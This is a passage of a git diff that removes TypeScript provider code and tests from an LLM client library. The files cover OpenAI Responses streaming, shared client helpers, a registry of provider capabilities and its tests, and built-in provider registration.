ResponseCreateParamsStreaming["service_tier"]; -} - -/** - * Generate function for OpenAI Responses API - */ -export const streamOpenAIResponses: StreamFunction< - "openai-responses", - OpenAIResponsesOptions -> = ( - model: Model<"openai-responses">, - context: Context, - options?: OpenAIResponsesOptions, -): AssistantMessageEventStream => { - const stream = new AssistantMessageEventStream(); - - // Start async processing - (async () => { - const output = buildInitialOutput(model); - - try { - // Create OpenAI client - const apiKey = options?.apiKey || getEnvApiKey(model.provider) || ""; - const client = await createOpenAIClient(model, context, apiKey, { - optionsHeaders: options?.headers, - }); - let params = buildParams(model, context, options); - const nextParams = await options?.onPayload?.(params, model); - if (nextParams !== undefined) { - params = nextParams as ResponseCreateParamsStreaming; - } - const openaiStream = await client.responses.create( - params, - options?.signal ? { signal: options.signal } : undefined, - ); - stream.push({ type: "start", partial: output }); - - await processResponsesStream(openaiStream, output, stream, model, { - serviceTier: options?.serviceTier, - applyServiceTierPricing, - }); - - assertStreamSuccess(output, options?.signal); - finalizeStream(stream, output); - } catch (error) { - handleStreamError(stream, output, error, options?.signal); - } - })(); - - return stream; -}; - -export const streamSimpleOpenAIResponses: StreamFunction< - "openai-responses", - SimpleStreamOptions -> = ( - model: Model<"openai-responses">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream => { - const apiKey = options?.apiKey || getEnvApiKey(model.provider); - if (!apiKey) { - throw new Error(`No API key for provider: ${model.provider}`); - } - - const base = buildBaseOptions(model, options, apiKey); - const reasoningEffort: OpenAIResponsesOptions["reasoningEffort"] = - isAutoReasoning(options?.reasoning) - ? "auto" - : supportsXhigh(model) - ? resolveReasoningLevel(model, options?.reasoning) - : clampReasoning(resolveReasoningLevel(model, options?.reasoning)); - - return streamOpenAIResponses(model, context, { - ...base, - reasoningEffort, - } satisfies OpenAIResponsesOptions); -}; - -function buildParams( - model: Model<"openai-responses">, - context: Context, - options?: OpenAIResponsesOptions, -) { - const messages = convertResponsesMessages( - model, - context, - OPENAI_TOOL_CALL_PROVIDERS, - ); - - const cacheRetention = resolveCacheRetention(options?.cacheRetention); - const params: ResponseCreateParamsStreaming = { - model: model.id, - input: messages, - stream: true, - prompt_cache_key: - cacheRetention === "none" ? undefined : options?.sessionId, - prompt_cache_retention: getPromptCacheRetention( - model.baseUrl, - cacheRetention, - ), - store: false, - }; - - if (options?.maxTokens) { - params.max_output_tokens = options?.maxTokens; - } - - if (options?.temperature !== undefined) { - params.temperature = options?.temperature; - } - - if (options?.serviceTier !== undefined) { - params.service_tier = options.serviceTier; - } - - if (context.tools && context.tools.length > 0) { - params.tools = convertResponsesTools(context.tools); - } - - if (model.reasoning) { - params.include = ["reasoning.encrypted_content"]; - if (options?.reasoningEffort === "auto") { - // Let the model decide its own reasoning depth — no effort constraint. - // GPT-5+ will reason as much as it judges necessary, same as - // THINKING_LEVEL_UNSPECIFIED for Gemini 2.5. - params.reasoning = { summary: options?.reasoningSummary || "auto" }; - } else if (options?.reasoningEffort || options?.reasoningSummary) { - const effort = clampReasoningForModel( - model.name, - options?.reasoningEffort || "medium", - ) as typeof options.reasoningEffort; - params.reasoning = { - effort: effort || "medium", - summary: options?.reasoningSummary || "auto", - }; - } else { - if (model.name.startsWith("gpt-5")) { - // Jesus Christ, see https://community.openai.com/t/need-reasoning-false-option-for-gpt-5/1351588/7 - messages.push({ - role: "developer", - content: [ - { - type: "input_text", - text: "# Juice: 0 !important", - }, - ], - }); - } - } - } - - return params; -} - -function getServiceTierCostMultiplier( - serviceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, -): number { - switch (serviceTier) { - case "flex": - return 0.5; - case "priority": - return 2; - default: - return 1; - } -} - -function applyServiceTierPricing( - usage: Usage, - serviceTier: ResponseCreateParamsStreaming["service_tier"] | undefined, -) { - const multiplier = getServiceTierCostMultiplier(serviceTier); - if (multiplier === 1) return; - - usage.cost.input *= multiplier; - usage.cost.output *= multiplier; - usage.cost.cacheRead *= multiplier; - usage.cost.cacheWrite *= multiplier; - usage.cost.total = - usage.cost.input + - usage.cost.output + - usage.cost.cacheRead + - usage.cost.cacheWrite; -} diff --git a/packages/pi-ai/src/providers/openai-shared.ts b/packages/pi-ai/src/providers/openai-shared.ts deleted file mode 100644 index d5ab4fd02..000000000 --- a/packages/pi-ai/src/providers/openai-shared.ts +++ /dev/null @@ -1,215 +0,0 @@ -/** - * Shared utilities for OpenAI Completions and Responses providers. - * - * This module consolidates code that is identical (or near-identical) across - * openai-completions.ts and openai-responses.ts to reduce duplication while - * preserving the subtle behavioural differences of each provider. - */ - -import type OpenAI from "openai"; -import type { - Api, - AssistantMessage, - Context, - Model, - StopReason, -} from "../types.js"; -import type { AssistantMessageEventStream } from "../utils/event-stream.js"; -import { - buildCopilotDynamicHeaders, - hasCopilotVisionInput, -} from "./github-copilot-headers.js"; - -// ============================================================================= -// Lazy SDK loading -// ============================================================================= - -let _openAIClass: typeof OpenAI | undefined; - -/** - * Lazy-load the OpenAI SDK default export. - * Shared between Completions and Responses providers so the module is only - * imported once regardless of which provider is used first. - */ -export async function getOpenAIClass(): Promise { - if (!_openAIClass) { - const mod = await import("openai"); - _openAIClass = mod.default; - } - return _openAIClass; -} - -// ============================================================================= -// Client creation -// ============================================================================= - -export interface CreateClientOptions { - /** Extra headers from the options bag (merged last, can override defaults). */ - optionsHeaders?: Record; - /** Provider-specific client constructor options (e.g. timeout, maxRetries for Z.ai). */ - extraClientOptions?: Record; -} - -/** - * Create an OpenAI SDK client instance. - * - * Handles: - * - API key resolution (explicit > env) - * - GitHub Copilot dynamic headers - * - Options header merging - * - Lazy SDK loading - */ -export async function createOpenAIClient( - model: Model, - context: Context, - apiKey: string | undefined, - options?: CreateClientOptions, -): Promise { - if (!apiKey) { - if (!process.env.OPENAI_API_KEY) { - throw new Error( - "OpenAI API key is required. Set OPENAI_API_KEY environment variable or pass it as an argument.", - ); - } - apiKey = process.env.OPENAI_API_KEY; - } - - const headers = { ...model.headers }; - if (model.provider === "github-copilot") { - const hasImages = hasCopilotVisionInput(context.messages); - const copilotHeaders = buildCopilotDynamicHeaders({ - messages: context.messages, - hasImages, - }); - Object.assign(headers, copilotHeaders); - } - - // Merge options headers last so they can override defaults - if (options?.optionsHeaders) { - Object.assign(headers, options.optionsHeaders); - } - - const OpenAIClass = await getOpenAIClass(); - return new OpenAIClass({ - apiKey, - baseURL: model.baseUrl, - dangerouslyAllowBrowser: true, - defaultHeaders: headers, - ...options?.extraClientOptions, - }); -} - -// ============================================================================= -// Initial output construction -// ============================================================================= - -/** - * Build the initial AssistantMessage output object used by all OpenAI stream - * handlers. Every field is initialised to its zero/default value. - */ -export function buildInitialOutput( - model: Model, -): AssistantMessage { - return { - role: "assistant", - content: [], - api: model.api as Api, - provider: model.provider, - model: model.id, - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: Date.now(), - }; -} - -// ============================================================================= -// Stream lifecycle helpers -// ============================================================================= - -/** - * Shared post-stream checks. Call after the provider-specific stream loop - * finishes successfully (before pushing the "done" event). - * - * Throws if the request was aborted or the output indicates an error. - */ -export function assertStreamSuccess( - output: AssistantMessage, - signal?: AbortSignal, -): void { - if (signal?.aborted) { - throw new Error("Request was aborted"); - } - if (output.stopReason === "aborted" || output.stopReason === "error") { - throw new Error("An unknown error occurred"); - } -} - -/** - * Emit the "done" event and close the stream. - */ -export function finalizeStream( - stream: AssistantMessageEventStream, - output: AssistantMessage, -): void { - stream.push({ - type: "done", - reason: output.stopReason as Extract< - StopReason, - "stop" | "length" | "toolUse" - >, - message: output, - }); - stream.end(); -} - -/** - * Handle an error during streaming. - * - * Cleans up any leftover `index` properties on content blocks, sets the - * appropriate stop reason and error message, then emits the "error" event. - */ -export function handleStreamError( - stream: AssistantMessageEventStream, - output: AssistantMessage, - error: unknown, - signal?: AbortSignal, - /** Extra error metadata to append (e.g. OpenRouter raw metadata). */ - extraMessage?: string, -): void { - for (const block of output.content) - delete (block as { index?: number }).index; - output.stopReason = signal?.aborted ? "aborted" : "error"; - output.errorMessage = - error instanceof Error ? error.message : JSON.stringify(error); - if (extraMessage) output.errorMessage += `\n${extraMessage}`; - stream.push({ type: "error", reason: output.stopReason, error: output }); - stream.end(); -} - -// ============================================================================= -// Reasoning helpers -// ============================================================================= - -/** - * Clamp reasoning effort for models that don't support all levels. - * gpt-5.x models don't support "minimal" -- map to "low". - * - * Used by both openai-responses.ts and azure-openai-responses.ts. - */ -export function clampReasoningForModel( - modelName: string, - effort: string, -): string { - const name = modelName.includes("/") - ? modelName.split("/").pop()! - : modelName; - if (name.startsWith("gpt-5") && effort === "minimal") return "low"; - return effort; -} diff --git a/packages/pi-ai/src/providers/provider-capabilities.test.ts b/packages/pi-ai/src/providers/provider-capabilities.test.ts deleted file mode 100644 index 098f02e7c..000000000 --- a/packages/pi-ai/src/providers/provider-capabilities.test.ts +++ /dev/null @@ -1,280 +0,0 @@ -// SF — Provider Capabilities Registry Tests (ADR-005 Phase 1) - -import assert from "node:assert/strict"; -import { describe, test } from "vitest"; -import { - sanitizeMistralToolParameters, - shouldUseMistralReasoningPromptMode, -} from "./mistral.js"; -import { - getProviderCapabilities, - getRegisteredApis, - getUnsupportedFeatures, - mergeCapabilityOverrides, - PROVIDER_CAPABILITIES, -} from "./provider-capabilities.js"; - -// ─── Registry Completeness ────────────────────────────────────────────────── - -describe("PROVIDER_CAPABILITIES registry", () => { - const EXPECTED_APIS = [ - "anthropic-messages", - "anthropic-vertex", - "openai-responses", - "azure-openai-responses", - "openai-codex-responses", - "openai-completions", - "google-generative-ai", - "google-gemini-cli", - "google-vertex", - "mistral-conversations", - "bedrock-converse-stream", - "ollama-chat", - ]; - - test("covers all expected API providers", () => { - for (const api of EXPECTED_APIS) { - assert.ok( - PROVIDER_CAPABILITIES[api], - `Missing capability entry for API: ${api}`, - ); - } - }); - - test("getRegisteredApis returns all entries", () => { - const registered = getRegisteredApis(); - for (const api of EXPECTED_APIS) { - assert.ok(registered.includes(api), `getRegisteredApis missing: ${api}`); - } - }); - - test("all entries have required fields", () => { - for (const [api, caps] of Object.entries(PROVIDER_CAPABILITIES)) { - assert.equal(typeof caps.toolCalling, "boolean", `${api}.toolCalling`); - assert.equal(typeof caps.maxTools, "number", `${api}.maxTools`); - assert.equal( - typeof caps.imageToolResults, - "boolean", - `${api}.imageToolResults`, - ); - assert.equal( - typeof caps.structuredOutput, - "boolean", - `${api}.structuredOutput`, - ); - assert.ok(caps.toolCallIdFormat, `${api}.toolCallIdFormat`); - assert.equal( - typeof caps.toolCallIdFormat.maxLength, - "number", - `${api}.toolCallIdFormat.maxLength`, - ); - assert.ok( - caps.toolCallIdFormat.allowedChars instanceof RegExp, - `${api}.toolCallIdFormat.allowedChars`, - ); - assert.ok( - ["full", "text-only", "none"].includes(caps.thinkingPersistence), - `${api}.thinkingPersistence is "${caps.thinkingPersistence}"`, - ); - assert.ok( - Array.isArray(caps.unsupportedSchemaFeatures), - `${api}.unsupportedSchemaFeatures`, - ); - } - }); -}); - -// ─── Provider-specific Values ─────────────────────────────────────────────── - -describe("provider-specific capabilities", () => { - test("Anthropic supports full thinking persistence", () => { - assert.equal( - PROVIDER_CAPABILITIES["anthropic-messages"].thinkingPersistence, - "full", - ); - }); - - test("Anthropic supports image tool results", () => { - assert.equal( - PROVIDER_CAPABILITIES["anthropic-messages"].imageToolResults, - true, - ); - }); - - test("Anthropic tool call ID is 64 chars max", () => { - assert.equal( - PROVIDER_CAPABILITIES["anthropic-messages"].toolCallIdFormat.maxLength, - 64, - ); - }); - - test("Mistral tool call ID is 9 chars max", () => { - assert.equal( - PROVIDER_CAPABILITIES["mistral-conversations"].toolCallIdFormat.maxLength, - 9, - ); - }); - - test("Mistral has no thinking persistence", () => { - assert.equal( - PROVIDER_CAPABILITIES["mistral-conversations"].thinkingPersistence, - "none", - ); - }); - - test("Mistral reasoning prompt mode is limited to Magistral models", () => { - const baseModel = { - id: "mistral-small-latest", - reasoning: true, - } as any; - - assert.equal( - shouldUseMistralReasoningPromptMode(baseModel, "medium"), - false, - ); - assert.equal( - shouldUseMistralReasoningPromptMode( - { ...baseModel, id: "magistral-medium-latest" }, - "medium", - ), - true, - ); - }); - - test("Mistral tool schema drops TypeBox symbol metadata", () => { - const kind = Symbol("TypeBox.Kind"); - const schema = { - type: "object", - required: ["path"], - properties: { - path: { - type: "string", - [kind]: "String", - }, - }, - [kind]: "Object", - }; - - const sanitized = sanitizeMistralToolParameters(schema); - - assert.deepEqual(Object.getOwnPropertySymbols(sanitized), []); - assert.deepEqual( - Object.getOwnPropertySymbols((sanitized.properties as any).path), - [], - ); - assert.deepEqual(sanitized, { - type: "object", - required: ["path"], - properties: { - path: { - type: "string", - }, - }, - }); - }); - - test("Google does not support patternProperties", () => { - assert.ok( - PROVIDER_CAPABILITIES[ - "google-generative-ai" - ].unsupportedSchemaFeatures.includes("patternProperties"), - ); - }); - - test("Google does not support const", () => { - assert.ok( - PROVIDER_CAPABILITIES[ - "google-generative-ai" - ].unsupportedSchemaFeatures.includes("const"), - ); - }); - - test("OpenAI Responses does not support image tool results", () => { - assert.equal( - PROVIDER_CAPABILITIES["openai-responses"].imageToolResults, - false, - ); - }); - - test("OpenAI Responses has text-only thinking persistence", () => { - assert.equal( - PROVIDER_CAPABILITIES["openai-responses"].thinkingPersistence, - "text-only", - ); - }); -}); - -// ─── getProviderCapabilities ──────────────────────────────────────────────── - -describe("getProviderCapabilities", () => { - test("returns known provider capabilities", () => { - const caps = getProviderCapabilities("anthropic-messages"); - assert.equal(caps.toolCalling, true); - assert.equal(caps.thinkingPersistence, "full"); - }); - - test("returns permissive defaults for unknown providers", () => { - const caps = getProviderCapabilities("unknown-provider-xyz"); - assert.equal(caps.toolCalling, true); - assert.equal(caps.imageToolResults, true); - assert.deepEqual(caps.unsupportedSchemaFeatures, []); - }); -}); - -// ─── getUnsupportedFeatures ───────────────────────────────────────────────── - -describe("getUnsupportedFeatures", () => { - test("returns unsupported features for Google", () => { - const unsupported = getUnsupportedFeatures("google-generative-ai", [ - "patternProperties", - "const", - ]); - assert.deepEqual(unsupported, ["patternProperties", "const"]); - }); - - test("returns empty for Anthropic with any features", () => { - const unsupported = getUnsupportedFeatures("anthropic-messages", [ - "patternProperties", - "const", - ]); - assert.deepEqual(unsupported, []); - }); - - test("returns empty for unknown provider", () => { - const unsupported = getUnsupportedFeatures("unknown-xyz", [ - "patternProperties", - ]); - assert.deepEqual(unsupported, []); - }); -}); - -// ─── mergeCapabilityOverrides ─────────────────────────────────────────────── - -describe("mergeCapabilityOverrides", () => { - test("overrides individual fields", () => { - const merged = mergeCapabilityOverrides("openai-responses", { - imageToolResults: true, - }); - assert.equal(merged.imageToolResults, true); - // Non-overridden fields preserved - assert.equal(merged.toolCalling, true); - assert.equal(merged.thinkingPersistence, "text-only"); - }); - - test("deep-merges toolCallIdFormat", () => { - const merged = mergeCapabilityOverrides("anthropic-messages", { - toolCallIdFormat: { maxLength: 128 }, - }); - assert.equal(merged.toolCallIdFormat.maxLength, 128); - // allowedChars preserved from base - assert.ok(merged.toolCallIdFormat.allowedChars instanceof RegExp); - }); - - test("uses permissive defaults for unknown provider", () => { - const merged = mergeCapabilityOverrides("unknown-xyz", { - imageToolResults: false, - }); - assert.equal(merged.imageToolResults, false); - assert.equal(merged.toolCalling, true); // from default - }); -}); diff --git a/packages/pi-ai/src/providers/provider-capabilities.ts b/packages/pi-ai/src/providers/provider-capabilities.ts deleted file mode 100644 index 29a1d4c6d..000000000 --- a/packages/pi-ai/src/providers/provider-capabilities.ts +++ /dev/null @@ -1,218 +0,0 @@ -// SF — Provider Capabilities Registry (ADR-005 Phase 1) -// Declarative registry of what each API provider supports, consolidating -// scattered knowledge from *-shared.ts files into a queryable data structure. - -// ─── Types ────────────────────────────────────────────────────────────────── - -/** - * Declarative capability profile for an API provider. - * Used by the model router to filter incompatible models and by the tool - * system to adjust tool sets per provider. - */ -export interface ProviderCapabilities { - /** Whether models from this provider support tool/function calling */ - toolCalling: boolean; - /** Maximum number of tools the provider handles well (0 = unlimited) */ - maxTools: number; - /** Whether tool results can contain images */ - imageToolResults: boolean; - /** Whether the provider supports structured JSON output */ - structuredOutput: boolean; - /** Tool call ID format constraints */ - toolCallIdFormat: { - maxLength: number; - allowedChars: RegExp; - }; - /** Whether thinking/reasoning blocks are preserved cross-turn */ - thinkingPersistence: "full" | "text-only" | "none"; - /** Schema features NOT supported (tools using these get filtered) */ - unsupportedSchemaFeatures: string[]; -} - -// ─── Registry ─────────────────────────────────────────────────────────────── - -/** - * Built-in provider capability profiles. - * - * Sources (consolidated from scattered *-shared.ts files): - * - anthropic-shared.ts: normalizeToolCallId (64-char, [a-zA-Z0-9_-]) - * - openai-responses-shared.ts: ID normalization (64-char, fc_ prefix), image-in-tool-result workaround - * - google-shared.ts: sanitizeSchemaForGoogle (patternProperties, const), requiresToolCallId - * - mistral.ts: MISTRAL_TOOL_CALL_ID_LENGTH = 9 - * - amazon-bedrock.ts: normalizeToolCallId (64-char, [a-zA-Z0-9_-]) - */ -export const PROVIDER_CAPABILITIES: Record = { - "anthropic-messages": { - toolCalling: true, - maxTools: 0, - imageToolResults: true, - structuredOutput: true, - toolCallIdFormat: { maxLength: 64, allowedChars: /^[a-zA-Z0-9_-]+$/ }, - thinkingPersistence: "full", - unsupportedSchemaFeatures: [], - }, - "anthropic-vertex": { - toolCalling: true, - maxTools: 0, - imageToolResults: true, - structuredOutput: true, - toolCallIdFormat: { maxLength: 64, allowedChars: /^[a-zA-Z0-9_-]+$/ }, - thinkingPersistence: "full", - unsupportedSchemaFeatures: [], - }, - "openai-responses": { - toolCalling: true, - maxTools: 0, - imageToolResults: false, // images sent as separate user message, not in tool result - structuredOutput: true, - toolCallIdFormat: { maxLength: 512, allowedChars: /^.+$/ }, - thinkingPersistence: "text-only", - unsupportedSchemaFeatures: [], - }, - "azure-openai-responses": { - toolCalling: true, - maxTools: 0, - imageToolResults: false, - structuredOutput: true, - toolCallIdFormat: { maxLength: 512, allowedChars: /^.+$/ }, - thinkingPersistence: "text-only", - unsupportedSchemaFeatures: [], - }, - "openai-codex-responses": { - toolCalling: true, - maxTools: 0, - imageToolResults: false, - structuredOutput: true, - toolCallIdFormat: { maxLength: 64, allowedChars: /^[a-zA-Z0-9_-]+$/ }, - thinkingPersistence: "text-only", - unsupportedSchemaFeatures: [], - }, - "openai-completions": { - toolCalling: true, - maxTools: 0, - imageToolResults: false, - structuredOutput: true, - toolCallIdFormat: { maxLength: 64, allowedChars: /^[a-zA-Z0-9_-]+$/ }, - thinkingPersistence: "text-only", - unsupportedSchemaFeatures: [], - }, - "google-generative-ai": { - toolCalling: true, - maxTools: 0, - imageToolResults: true, - structuredOutput: true, - toolCallIdFormat: { maxLength: 64, allowedChars: /^[a-zA-Z0-9_-]+$/ }, - thinkingPersistence: "text-only", - unsupportedSchemaFeatures: ["patternProperties", "const"], - }, - "google-gemini-cli": { - toolCalling: true, - maxTools: 0, - imageToolResults: true, - structuredOutput: true, - toolCallIdFormat: { maxLength: 64, allowedChars: /^[a-zA-Z0-9_-]+$/ }, - thinkingPersistence: "text-only", - unsupportedSchemaFeatures: ["patternProperties", "const"], - }, - "google-vertex": { - toolCalling: true, - maxTools: 0, - imageToolResults: true, - structuredOutput: true, - toolCallIdFormat: { maxLength: 64, allowedChars: /^[a-zA-Z0-9_-]+$/ }, - thinkingPersistence: "text-only", - unsupportedSchemaFeatures: ["patternProperties", "const"], - }, - "mistral-conversations": { - toolCalling: true, - maxTools: 0, - imageToolResults: false, - structuredOutput: true, - toolCallIdFormat: { maxLength: 9, allowedChars: /^[a-zA-Z0-9]+$/ }, - thinkingPersistence: "none", - unsupportedSchemaFeatures: [], - }, - "bedrock-converse-stream": { - toolCalling: true, - maxTools: 0, - imageToolResults: true, // Bedrock supports image content blocks in tool results - structuredOutput: true, - toolCallIdFormat: { maxLength: 64, allowedChars: /^[a-zA-Z0-9_-]+$/ }, - thinkingPersistence: "text-only", - unsupportedSchemaFeatures: [], - }, - "ollama-chat": { - toolCalling: true, - maxTools: 0, - imageToolResults: false, - structuredOutput: false, - toolCallIdFormat: { maxLength: 64, allowedChars: /^[a-zA-Z0-9_-]+$/ }, - thinkingPersistence: "none", - unsupportedSchemaFeatures: [], - }, -}; - -// ─── Default (permissive) profile for unknown providers ───────────────────── - -const DEFAULT_CAPABILITIES: ProviderCapabilities = { - toolCalling: true, - maxTools: 0, - imageToolResults: true, - structuredOutput: true, - toolCallIdFormat: { maxLength: 512, allowedChars: /^.+$/ }, - thinkingPersistence: "text-only", - unsupportedSchemaFeatures: [], -}; - -// ─── Public API ───────────────────────────────────────────────────────────── - -/** - * Get capabilities for a provider API. Returns a permissive default for - * unknown providers (preserving existing behavior per ADR-005 principle 5). - */ -export function getProviderCapabilities(api: string): ProviderCapabilities { - return PROVIDER_CAPABILITIES[api] ?? DEFAULT_CAPABILITIES; -} - -/** - * Check if a provider supports all required schema features. - * Returns the list of unsupported features (empty if all supported). - */ -export function getUnsupportedFeatures( - api: string, - requiredFeatures: string[], -): string[] { - const caps = getProviderCapabilities(api); - return requiredFeatures.filter((f) => - caps.unsupportedSchemaFeatures.includes(f), - ); -} - -/** - * Deep-merge user-provided capability overrides with built-in defaults. - * Partial overrides merge with the built-in profile for the given API. - */ -export function mergeCapabilityOverrides( - api: string, - overrides: Partial> & { - toolCallIdFormat?: Partial; - }, -): ProviderCapabilities { - const base = getProviderCapabilities(api); - return { - ...base, - ...overrides, - toolCallIdFormat: overrides.toolCallIdFormat - ? { ...base.toolCallIdFormat, ...overrides.toolCallIdFormat } - : base.toolCallIdFormat, - }; -} - -/** - * Get all registered API names in the capability registry. - * Used by lint rules to verify all providers in register-builtins.ts - * have corresponding capability entries. - */ -export function getRegisteredApis(): string[] { - return Object.keys(PROVIDER_CAPABILITIES); -} diff --git a/packages/pi-ai/src/providers/register-builtins.ts b/packages/pi-ai/src/providers/register-builtins.ts deleted file mode 100644 index c763a0517..000000000 --- a/packages/pi-ai/src/providers/register-builtins.ts +++ /dev/null @@ -1,226 +0,0 @@ -import { clearApiProviders, registerApiProvider } from "../api-registry.js"; -import type { - AssistantMessage, - AssistantMessageEvent, - Context, - Model, - SimpleStreamOptions, -} from "../types.js"; -import { AssistantMessageEventStream } from "../utils/event-stream.js"; -import type { BedrockOptions } from "./amazon-bedrock.js"; -import { streamAnthropic, streamSimpleAnthropic } from "./anthropic.js"; -import { - streamAnthropicVertex, - streamSimpleAnthropicVertex, -} from "./anthropic-vertex.js"; -import { - streamAzureOpenAIResponses, - streamSimpleAzureOpenAIResponses, -} from "./azure-openai-responses.js"; -import { streamGoogle, streamSimpleGoogle } from "./google.js"; -import { - streamGoogleGeminiCli, - streamSimpleGoogleGeminiCli, -} from "./google-gemini-cli.js"; -import { - streamGoogleVertex, - streamSimpleGoogleVertex, -} from "./google-vertex.js"; -import { streamMistral, streamSimpleMistral } from "./mistral.js"; -import { - streamOpenAICodexResponses, - streamSimpleOpenAICodexResponses, -} from "./openai-codex-responses.js"; -import { - streamOpenAICompletions, - streamSimpleOpenAICompletions, -} from "./openai-completions.js"; -import { - streamOpenAIResponses, - streamSimpleOpenAIResponses, -} from "./openai-responses.js"; - -interface BedrockProviderModule { - streamBedrock: ( - model: Model<"bedrock-converse-stream">, - context: Context, - options?: BedrockOptions, - ) => AsyncIterable; - streamSimpleBedrock: ( - model: Model<"bedrock-converse-stream">, - context: Context, - options?: SimpleStreamOptions, - ) => AsyncIterable; -} - -type DynamicImport = (specifier: string) => Promise; - -const dynamicImport: DynamicImport = (specifier) => import(specifier); -const BEDROCK_PROVIDER_SPECIFIER = "./amazon-" + "bedrock.js"; - -let bedrockProviderModuleOverride: BedrockProviderModule | undefined; - -export function setBedrockProviderModule(module: BedrockProviderModule): void { - bedrockProviderModuleOverride = module; -} - -async function loadBedrockProviderModule(): Promise { - if (bedrockProviderModuleOverride) { - return bedrockProviderModuleOverride; - } - const module = await dynamicImport(BEDROCK_PROVIDER_SPECIFIER); - return module as BedrockProviderModule; -} - -function forwardStream( - target: AssistantMessageEventStream, - source: AsyncIterable, -): void { - (async () => { - for await (const event of source) { - target.push(event); - } - target.end(); - })(); -} - -function createLazyLoadErrorMessage( - model: Model<"bedrock-converse-stream">, - error: unknown, -): AssistantMessage { - return { - role: "assistant", - content: [], - api: "bedrock-converse-stream", - provider: model.provider, - model: model.id, - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "error", - errorMessage: error instanceof Error ? error.message : String(error), - timestamp: Date.now(), - }; -} - -function streamBedrockLazy( - model: Model<"bedrock-converse-stream">, - context: Context, - options?: BedrockOptions, -): AssistantMessageEventStream { - const outer = new AssistantMessageEventStream(); - - loadBedrockProviderModule() - .then((module) => { - const inner = module.streamBedrock(model, context, options); - forwardStream(outer, inner); - }) - .catch((error) => { - const message = createLazyLoadErrorMessage(model, error); - outer.push({ type: "error", reason: "error", error: message }); - outer.end(message); - }); - - return outer; -} - -function streamSimpleBedrockLazy( - model: Model<"bedrock-converse-stream">, - context: Context, - options?: SimpleStreamOptions, -): AssistantMessageEventStream { - const outer = new AssistantMessageEventStream(); - - loadBedrockProviderModule() - .then((module) => { - const inner = module.streamSimpleBedrock(model, context, options); - forwardStream(outer, inner); - }) - .catch((error) => { - const message = createLazyLoadErrorMessage(model, error); - outer.push({ type: "error", reason: "error", error: message }); - outer.end(message); - }); - - return outer; -} - -function registerBuiltInApiProviders(): void { - registerApiProvider({ - api: "anthropic-messages", - stream: streamAnthropic, - streamSimple: streamSimpleAnthropic, - }); - - registerApiProvider({ - api: "openai-completions", - stream: streamOpenAICompletions, - streamSimple: streamSimpleOpenAICompletions, - }); - - registerApiProvider({ - api: "mistral-conversations", - stream: streamMistral, - streamSimple: streamSimpleMistral, - }); - - registerApiProvider({ - api: "openai-responses", - stream: streamOpenAIResponses, - streamSimple: streamSimpleOpenAIResponses, - }); - - registerApiProvider({ - api: "azure-openai-responses", - stream: streamAzureOpenAIResponses, - streamSimple: streamSimpleAzureOpenAIResponses, - }); - - registerApiProvider({ - api: "openai-codex-responses", - stream: streamOpenAICodexResponses, - streamSimple: streamSimpleOpenAICodexResponses, - }); - - registerApiProvider({ - api: "google-generative-ai", - stream: streamGoogle, - streamSimple: streamSimpleGoogle, - }); - - registerApiProvider({ - api: "google-gemini-cli", - stream: streamGoogleGeminiCli, - streamSimple: streamSimpleGoogleGeminiCli, - }); - - registerApiProvider({ - api: "google-vertex", - stream: streamGoogleVertex, - streamSimple: streamSimpleGoogleVertex, - }); - - registerApiProvider({ - api: "anthropic-vertex", - stream: streamAnthropicVertex, - streamSimple: streamSimpleAnthropicVertex, - }); - - registerApiProvider({ - api: "bedrock-converse-stream", - stream: streamBedrockLazy, - streamSimple: streamSimpleBedrockLazy, - }); -} - -export function resetApiProviders(): void { - clearApiProviders(); - registerBuiltInApiProviders(); -} - -registerBuiltInApiProviders(); diff --git a/packages/pi-ai/src/providers/sanitize-tool-arguments.ts b/packages/pi-ai/src/providers/sanitize-tool-arguments.ts deleted file mode 100644 index 6797580a2..000000000 --- a/packages/pi-ai/src/providers/sanitize-tool-arguments.ts +++ /dev/null @@ -1,87 +0,0 @@ -import { shortHash } from "../utils/hash.js"; - -const MAX_TOOL_ARGUMENT_KEY_LENGTH = 256; -const LONG_KEY_PREFIX = "tool_arg_"; - -function isObject(value: unknown): value is Record { - return typeof value === "object" && value !== null && !Array.isArray(value); -} - -function clampKey(base: string, maxLength: number): string { - return base.length <= maxLength ? base : base.slice(0, maxLength); -} - -function makeSafeKey( - key: string, - maxLength: number, - usedKeys: Set, - seen: Map, -): string { - if (key.length <= maxLength && !usedKeys.has(key)) { - return key; - } - - if (usedKeys.has(key)) { - const base = `${LONG_KEY_PREFIX}${shortHash(key)}`; - const safeBase = clampKey(base, maxLength); - let next = 0; - let candidate = safeBase; - while (usedKeys.has(candidate)) { - candidate = clampKey(`${safeBase}_${next}`, maxLength); - next += 1; - } - seen.set(key, candidate); - return candidate; - } - - const existing = seen.get(key); - if (existing) { - let next = 0; - let candidate = existing; - while (usedKeys.has(candidate)) { - candidate = clampKey(`${existing}_${next}`, maxLength); - next += 1; - } - return candidate; - } - - const base = `${LONG_KEY_PREFIX}${shortHash(key)}`; - const safeBase = clampKey(base, maxLength); - let next = 0; - let candidate = safeBase; - while (usedKeys.has(candidate)) { - candidate = clampKey(`${safeBase}_${next}`, maxLength); - next += 1; - } - seen.set(key, candidate); - return candidate; -} - -export function sanitizeToolCallArgumentsForSerialization( - args: unknown, - maxKeyLength = MAX_TOOL_ARGUMENT_KEY_LENGTH, -): unknown { - if (isObject(args)) { - const output: Record = {}; - const usedKeys = new Set(); - const replacements = new Map(); - - for (const [key, value] of Object.entries(args)) { - const safeKey = makeSafeKey(key, maxKeyLength, usedKeys, replacements); - output[safeKey] = sanitizeToolCallArgumentsForSerialization( - value, - maxKeyLength, - ); - usedKeys.add(safeKey); - } - return output; - } - - if (Array.isArray(args)) { - return args.map((entry) => - sanitizeToolCallArgumentsForSerialization(entry, maxKeyLength), - ); - } - - return args; -} diff --git a/packages/pi-ai/src/providers/simple-options.test.ts b/packages/pi-ai/src/providers/simple-options.test.ts deleted file mode 100644 index 885c07634..000000000 --- a/packages/pi-ai/src/providers/simple-options.test.ts +++ /dev/null @@ -1,48 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import type { Model } from "../types.js"; -import 